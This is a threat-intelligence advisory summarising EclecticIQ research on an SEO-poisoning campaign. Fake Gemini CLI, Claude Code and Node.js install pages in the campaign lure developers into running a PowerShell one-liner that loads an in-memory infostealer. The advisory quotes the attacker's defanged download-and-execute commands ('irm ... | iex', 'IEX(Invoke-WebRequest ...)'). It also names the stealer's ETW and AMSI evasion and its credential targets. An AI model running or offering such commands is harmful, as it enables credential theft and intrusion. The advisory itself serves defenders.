# SEO Poisoning Campaign Impersonates Gemini CLI and Claude Code to Deliver In-Memory PowerShell Infostealer (EclecticIQ)

> EclecticIQ analysts identified an ongoing financially motivated eCrime campaign that uses SEO poisoning to surface typosquatted domains impersonating Gemini CLI, Claude Code, Node.js, Chocolatey, KeePassXC, and Monero installation pages above legitimate Google search results. Victims paste a one-line PowerShell command from the fake page that pulls a second-stage infostealer directly into memory via irm | iex, disables ETW and AMSI, then harvests OAuth tokens, browser credentials, SaaS session cookies (Slack, Teams, Discord, Mattermost), VPN configurations, SSH keys, cloud-storage contents, and developer secrets before exfiltrating to events.msft23[.]com and events.ms709[.]com. The implant also supports operator-issued PowerShell RCE, enabling hands-on-keyboard pivots into enterprise networks.

- **Published:** 2026-05-21T12:00:00Z
- **Last reviewed:** 2026-05-21T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0546
- **ID:** TL-2026-0546
- **Severity:** HIGH
- **Category:** CAMPAIGN
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 69 (full data via the Threadlinqs MCP server — Purple tier)

## Description

EclecticIQ Threat Research published an analysis on 2026-05-21 of an ongoing infostealer campaign first observed in early March 2026 that targets enterprise developer workstations by impersonating AI coding assistants and developer tooling. The campaign was originally surfaced by independent researcher @g0njxa, who flagged a Windows malware deployment impersonating Google's Gemini CLI. EclecticIQ analysts subsequently pivoted on passive DNS and infrastructure overlaps to map a wider cluster of more than 30 typosquatted domains operated by what they assess with medium-to-high confidence is a single financially motivated threat actor.

Initial Access: The infection chain begins with a Google search by a developer looking for the official Gemini CLI or Claude Code installation page. The operator uses search-engine optimization poisoning (MITRE T1608.006) to promote a fake domain such as geminicli[.]co[.]com or claudecode[.]co[.]com above the legitimate vendor result. The fake page is a visually faithful clone of the genuine installation guide and prompts the visitor to paste a single PowerShell one-liner into a terminal. This 'paste-and-execute' (ClickFix-adjacent) lure is tuned to the workflow developers and IT administrators already use when installing CLI tooling from package-manager pages.

First-stage downloader: The PowerShell embedded on the fake page performs two simultaneous actions. (1) It instantiates a Shell.Application COM object and calls ShellExecute with window style 0 to spawn a hidden PowerShell window, which runs 'irm events[.]msft23[.]com | iex' (Invoke-RestMethod piped to Invoke-Expression) to fetch and execute the second-stage payload entirely in memory. (2) In parallel the same script invokes 'npm install -g @google/gemini-cli', which installs the real Gemini CLI from the official Google npm registry so the victim sees a successful, legitimate install in their terminal. The benign install is the visible decoy while the in-memory stealer runs to completion.

Second-stage infostealer: Once executed in memory, the second stage immediately patches PSEtwLogProvider.m_enabled to disable PowerShell ETW telemetry (T1562.006) and performs an in-process AMSI bypass (T1562.001), eliminating the two primary Windows host-based telemetry pipelines for script content. The payload is heavily obfuscated with roughly 6,800 lines of junk-branch code and includes a 'qemu-ga' string check as an anti-sandbox gate (T1497.001). The script then loads three embedded C# helper types at runtime via Add-Type: CredHelper (P/Invokes advapi32!CredEnumerate against Windows Credential Manager), User32 (calls EnumDisplaySettings to fingerprint display and detect VMs), and Rstrtmgr (uses the Restart Manager API in rstrtmgr.dll to enumerate processes without calling the monitored Get-Process cmdlet).

Collection scope: The stealer iterates browser profiles for Chrome, Edge, Brave, and Firefox, extracting login credentials, session cookies, autofill, and form history. It targets enterprise collaboration platforms (Slack Local State key and Network cookies, Microsoft Teams EBWebView DPAPI-protected cookies, Discord Local Storage LevelDB plus Local State, Mattermost cookies, Telegram Desktop tdata, Zoom DPAPI-protected win_osencrypt_key, LiveChat, Notion, Zoho Mail Desktop, Evernote). It dumps remote-access secrets (WinSCP saved sessions from HKCU:\SOFTWARE\Martin Prikryl\WinSCP 2\, PuTTY sessions from HKCU:\Software\SimonTatham\PuTTY\Sessions, OpenVPN configs and DPAPI-protected GUI login data), cryptocurrency wallets (Brave Wallet, Spectre), Steam installation data, and enumerates cloud-synced directories (Proton Drive, iCloud Drive, Google Drive, MEGA, OneDrive). It also recursively lists .txt and .docx files under Desktop, Documents, and Downloads, captures the desktop wallpaper via TranscodedWallpaper, and pulls OS version, installed software, network adapter configuration, and running process inventory via WMI and the Restart Manager API.

Command-and-Control: The implant beacons over HTTPS to events.msft23[.]com (Gemini lure) and events.ms709[.]com (Claude / Node.js / Chocolatey lures) on three endpoints: /take (initial configuration / staging), /process (the main beacon that uploads exfiltrated data and receives an RSA-encrypted task list in the same response), and /validate (task-execution status report). The implant decrypts the task list, matches each record's target ID against the local MachineGuid-derived victim ID, and runs the operator-supplied URL via 'powershell.exe -command IEX(Invoke-WebRequest -UseBasicParsing <url>)' through Shell.Application.ShellExecute. A secondary path uses named pipes to spawn a child PowerShell process and stream its output back. There is no on-disk persistence in the analyzed sample; the malware operates fully in memory.

Infrastructure: EclecticIQ pivoted from claude-code[.]co[.]com (resolved to 109.107.170[.]111 at Netherlands-based bulletproof hosting provider MIRhosting) and uncovered a cluster of 30+ typosquatted domains targeting AI coding tools, Node.js, Chocolatey, KeePassXC, and Monero, registered primarily between late March and early April 2026. The cluster favors .co.com, .us.com, .us.org, and .co.uk TLDs, with C2 hostnames following an 'events.<microsoft-evoking-root>.com' or 'metrics.<root>.com' template (events.msft23.com, events.ms709.com, metrics.msft17.com). One Node.js lure (nodejs-setup[.]co[.]com) chains two spoofed domains by instructing victims to run 'irm https://community.chocolatey[.]net/install.ps1 | iex', impersonating both Node.js and Chocolatey in a single workflow-faithful sequence. The threat actor reuses a single tooling template across lures, rotating only the brand and the C2 hostname.

Attribution and motivation: EclecticIQ assesses with high confidence that the campaign is operated by a single financially motivated eCrime actor. The targeting choice (developer-focused tooling) and the implant's session-cookie and OAuth-token focus align with the broader access-broker market, where session material from Slack, Teams, GitHub, and corporate VPN tooling commands premium prices because it bypasses MFA. The campaign is geographically tilted toward United States and United Kingdom users based on TLD selection.

Impact for defenders: A single compromised developer workstation yields OAuth tokens for GitHub / GitLab / cloud SaaS, CI/CD credentials, corporate VPN configurations including DPAPI-protected secrets, session cookies for collaboration platforms that bypass MFA, and SSH keys for production infrastructure. Combined with the implant's RCE capability, this provides a direct path to hands-on-keyboard intrusions, lateral movement into the wider enterprise, and supply-chain compromise via the developer's source-control and pipeline access.

## MITRE ATT&CK

- T1189 Drive-by Compromise
- T1608.006 Stage Capabilities: SEO Poisoning
- T1583.001 Acquire Infrastructure: Domains
- T1583.004 Acquire Infrastructure: Server
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1204.001 User Execution: Malicious Link
- T1204.002 User Execution: Malicious File
- T1559.001 Inter-Process Communication: Component Object Model
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1685 Disable or Modify Tools
- T1497.001 Virtualization/Sandbox Evasion: System Checks
- T1218 System Binary Proxy Execution
- T1620 Reflective Code Loading
- T1036.005 Match Legitimate Resource Name or Location
- T1057 Process Discovery
- T1083 File and Directory Discovery
- T1082 System Information Discovery
- T1518.001 Software Discovery: Security Software Discovery
- T1012 Query Registry
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 Credentials from Password Stores: Windows Credential Manager
- T1539 Steal Web Session Cookie
- T1552.001 Unsecured Credentials: Credentials In Files
- T1552.002 Unsecured Credentials: Credentials in Registry
- T1528 Steal Application Access Token
- T1005 Data from Local System
- T1113 Screen Capture
- T1074.001 Data Staged: Local Data Staging
- T1071.001 Application Layer Protocol: Web Protocols
- T1573.002 Encrypted Channel: Asymmetric Cryptography
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel

## Sources

- [EclecticIQ: SEO poisoning campaign leverages Gemini and Claude Code impersonation to deliver infostealer](https://blog.eclecticiq.com/seo-poisoning-campaign-leverages-gemini-and-claude-code-impersonation-to-deliver-infostealer)
- [@g0njxa initial discovery tweet on Gemini CLI malware deployment](https://x.com/g0njxa/status/2046605636494885329)
- [Gemini CLI official site](https://geminicli.com/)
- [Anthropic Claude Code product page](https://www.anthropic.com/product/claude-code)
- [pinvoke.net: advapi32 CredEnumerate / CredWrite](https://www.pinvoke.net/default.aspx/advapi32.credwrite)
- [Krebs on Security: Bulletproof Host Stark Industries Evades EU Sanctions (MIRhosting context)](https://krebsonsecurity.com/2025/09/bulletproof-host-stark-industries-evades-eu-sanctions/)
- [MITRE ATT&CK T1608.006 — Stage Capabilities: SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/)
- [MITRE ATT&CK T1059.001 — Command and Scripting Interpreter: PowerShell](https://attack.mitre.org/techniques/T1059/001/)
- [MITRE ATT&CK T1562.001 — Impair Defenses: Disable or Modify Tools (AMSI bypass)](https://attack.mitre.org/techniques/T1562/001/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0546